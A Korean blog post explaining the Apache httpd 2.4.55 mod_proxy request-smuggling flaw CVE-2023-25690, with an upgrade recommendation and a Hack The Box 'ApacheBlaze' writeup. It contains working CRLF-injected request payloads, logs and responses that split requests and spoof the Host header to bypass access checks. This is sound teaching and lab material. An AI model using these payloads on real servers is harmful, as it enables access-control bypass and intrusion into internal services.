티스토리 뷰
[CVE-2023-25690] Apache HTTP Server <= 2.4.55 mod_proxy enabled - HTTP Request Smuggling (HTB ApacheBlaze Writeup)
알 수 없는 사용자 2023. 12. 21. 18:03Introduction
Apache HTTP Server 2.4.0 ~ 2.4.55 에서 mod_proxy 설정 시 HTTP Request Smuggling 취약점 발생
mod_proxy 설정 시 RewriteRule 이나 ProxyPassMatch 설정 시 사용자로부터 URL 데이터를 받아서 가변적으로 치환하는 경우 취약점이 발생한다.
RewriteEngine on
RewriteRule "^/products/(.*)" "http://product.example.com/products?$1"; [P]
ProxyPassReverse /products/ http://product.example.com/
Request Splitting/Smuggling 취약점을 이용하면 프록시 서버의 접근 제어 정책을 우회하거나, 의도하지 않은 내부망에 접근하게 할 수 있거나, 캐시 포이즈닝 공격에 이용될 수 있다.
Apache HTTP Server를 최소 2.4.56 버전 이상으로 업데이트하는 것을 권고하는 바이다.
Analysis
RewriteEngine on 이 설정되어 있는 경우 URL rewriting engine을 활성화한다.
URL rewriting 기능은 사용자의 웹 브라우저로부터 받는 여러 URL로부터 웹 서버가 동적으로 처리하게 해주는 기술이다.
만약 Apache 설정 파일이 아래와 같이 RewriteRule directive 가 작성되었다고 해보자.
RewriteRule "^/products/(.*)" "http://product.example.com/products?id=$1"; [P]
이 경우 사용자가 http://product.example.com/products/1 이라는 URL에 접근했다고 했을 때, RewriteRule 은 URL을 매칭해보고, 1 이라는 값을 정규표현식 ^/products/(.*) 에 대입해본다.
그러면 http://product.example.com/products?id=1 로 URL rewrite되는 효과를 가진다.
여기서 rewrite rule에 [P] flag가 있다면 Apache Server는 rewrite 된 URL을 Proxy 요청으로 판단하고 http://product.example.com/products 로 쿼리 파라미터 id 를 1로 설정한 뒤에 요청을 전달해준다. (URL별로 서로 다른 서버에 요청을 보낼 수 있게 한다)
참고 : https://httpd.apache.org/docs/2.4/rewrite/proxy.html
HTTP Request Splitting/Smuggling
이번에는 HTTP Response Splitting(CRLF injection) 기법이 어떻게 HTTP Request Smuggling 공격으로 이어지며, 최종적으로 공격자가 접근 제어를 우회 하고 내부 자원에 접근할 수 있는지 설명한다.
CRLF Injection 확인 법
우선 아래와 같이 정상 요청을 보내본다.
GET /products/1 HTTP/1.1
Host: 127.0.0.1
Connection: close
그러면 아래와 같이 정상 응답이 돌아온다.
HTTP/1.1 200 OK
Date: Thu, 21 Dec 2023 06:58:45 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 16
Content-Type: text/html; charset=UTF-8
Connection: close
Product ID is: 1
하지만 만약 URL에 CRLF(Carriage Return, Line Feed)를 삽입하게 되면 어떻게 되는지 살펴보자.
GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/HELLOWORLD HTTP/1.1
Host: 127.0.0.1
Connection: close
위와 같은 요청을 보냈을 때 Apache Server 의 Proxy 로그와 Backend Server의 로그를 같이 살펴보면 다음과 같다.
apache-proxy-server | 192.168.65.1 - - [21/Dec/2023:08:07:52 +0000] "GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/HELLOWORLD HTTP/1.1" 200 16
backend-server | 172.18.0.3 - - [21/Dec/2023:08:07:52 +0000] "GET /products.php?id=1 HTTP/1.1" 200 0 "-" "-"
backend-server | 172.18.0.3 - - [21/Dec/2023:08:07:52 +0000] "GET /HELLOWORLD HTTP/1.1" 404 648 "-" "-"
위와 같이 apache-proxy-server 에서 요청을 받은 것을 backend-server 에서는 두 갈래로 받아서 처리하는 것을 볼 수 있다.
결국 backend-server 에서는 이를 아래와 같이 두 HTTP 요청으로 받은 것이다.
GET /products/1 HTTP/1.1
Host: 127.0.0.1
GET /HELLOWORLD HTTP/1.1
Host: 127.0.0.1
Connection: close
이 외에도 요청을 두 번 보내는 것 뿐만 아니라 만약 backend-server에서 Host Header 를 검증하는 코드가 있다고 해보자.
if request.headers.get('X-Forwarded-Host') == 'admin.domain.com':
# do something else
pass
이 경우에도 Host 값을 아래와 같이 덮어써서 Host 조작을 가능하게 한다.
GET /products/1%20HTTP/1.1%0d%0aHost:%20admin.domain.com%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: 192.168.123.12:8080
위 내용을 backend-server 에서는 결국 아래와 같이 만들어 요청을 처리한다.
GET /products/1 HTTP/1.1
Host: admin.domain.com
GET / HTTP/1.1
Host: 192.168.123.12:8080
때문에 Host 값이 admin.domain.com 으로 바뀌게 되므로 위 접근 제어 코드를 우회 할 수 있게 된다.
Impact
해당 취약점은 결국 공격자로 하여금 내부 웹 서비스에 접근 가능케 하며 접근 제어 로직을 우회할 수 있는 종류의 취약점이다. 실제로 위 취약점으로 인해 내부 망에서만 접근 가능하도록 IP 접근 제어를 걸어둔 서비스에서 이를 우회 하여 관리자 페이지에 접근하는 등의 시나리오를 가능케 한다.
관리자 페이지에 만약 시스템 명령을 수행할 수 있는 기능이 있다면 해당 취약점은 더 큰 파급력을 행사할 수 있게 된다.
References
https://github.com/dhmosfunk/CVE-2023-25690-POC
Hackthebox ApacheBlaze Writeup(문제풀이)
해당 취약점은 CTF에 간간히 나오긴하는데, 최근에 푼 Hackthebox에서 풀었던 문제에서도 나오기도 해서 적어본다.
Hackthebox의 Challenges에서 Web 문제 중 ApacheBlaze 라는 문제가 이 취약점을 활용한 문제다.
https://app.hackthebox.com/challenges/apacheblaze
Code Analysis
from flask import Flask, request, jsonify
app = Flask(__name__)
app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'}
app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}'
@app.route('/', methods=['GET'])
def index():
game = request.args.get('game')
if not game:
return jsonify({
'error': 'Empty game name is not supported!.'
}), 400
elif game not in app.config['GAMES']:
return jsonify({
'error': 'Invalid game name!'
}), 400
elif game == 'click_topia':
if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
return jsonify({
'message': f'{app.config["FLAG"]}'
}), 200
else:
return jsonify({
'message': 'This game is currently available only from dev.apacheblaze.local.'
}), 200
else:
return jsonify({
'message': 'This game is currently unavailable due to internal maintenance.'
}), 200
game 파라미터로 click_topia라는 값이 들어오면 Flag 값을 출력하게 하고 있다. 하지만 이 때 X-Forwarded-Host 값이 dev.apacheblaze.local 인 경우인지를 접근제어 로직으로 추가했다.
여기서 단순히 헤더로 X-Forwarded-Host 헤더를 주면 된다고 착각할 수 있지만 되지 않는다. 왜냐하면 Apache Server에서 mod_proxy를 이용해 Proxy 기능을 이용하고 있기 때문에 결과적으로 HTTP Header는 아래와 같은 모습이 된다.
X-Forwarded-Host: dev.apacheblaze.local, localhost:1337, 127.0.0.1:8080
X-Forwarded-For: 172.17.0.1, 127.0.0.1
X-Forwarded-Server: _, _
왜냐하면 아래의 Apache HTTP Server 설정을 보면 proxy 설정으로 VirtualHost 2개가 설정되어 있기 때문이다.
<VirtualHost *:1337>
ServerName _
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"
</VirtualHost>
<VirtualHost *:8080>
ServerName _
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
<Proxy balancer://mycluster>
BalancerMember http://127.0.0.1:8081 route=127.0.0.1
BalancerMember http://127.0.0.1:8082 route=127.0.0.1
ProxySet stickysession=ROUTEID
ProxySet lbmethod=byrequests
</Proxy>
</VirtualHost>
어떤 요청을 보낼 때 proxy 를 타고 들어가기 때문에 proxy host 들의 주소가 붙여지기 때문이다.
이로써 일반적인 방법으로는 취약점을 트리거하기 어렵기 때문에 Apache Server의 버전을 확인해본다.
다행히 도커 파일엔 Apache HTTP Server의 버전이 명확하게 나온다.
FROM alpine:3
# Install system packages
RUN apk add --no-cache --update wget apr-dev apr-util-dev gcc libc-dev \
pcre-dev make musl-dev
# Download and extract httpd
RUN wget https://archive.apache.org/dist/httpd/httpd-2.4.55.tar.gz && tar -xvf httpd-2.4.55.tar.gz
WORKDIR httpd-2.4.55
이로써 CVE-2023-25690 취약점을 트리거해야 함을 더더욱 확신할 수 있게 된다.
Exploit
위에서 확인했던 원리로 취약점을 트리거해보면 다음과 같이 Flag 값을 획득할 수 있게 된다.
GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: 188.166.175.58:32676
아래는 Flag 획득 Response이다.
HTTP/1.1 200 OK
Date: Thu, 21 Dec 2023 05:00:00 GMT
Server: Apache
Content-Type: application/json
Content-Length: 44
{"message":"HTB{f4k3_fl4g_f0r_t3st1ng}"}
- 끝 -
'보안 > Wargame' 카테고리의 다른 글
[Hackthebox] - [Web] Render Quest Writeup(문제풀이) (32) | 2023.12.20 |
---|---|
[Hackthebox] - [Web] The Magic Informer Writeup(문제풀이) (0) | 2023.02.01 |
[Hackthebox] - [Web] baby website rick Writeup(문제풀이) (0) | 2023.01.24 |
[Webhacking.kr] invisible_dragon 문제풀이(Writeup) (0) | 2023.01.22 |
[Webhacking.kr] RegexMaster 문제풀이(Writeup) (0) | 2023.01.13 |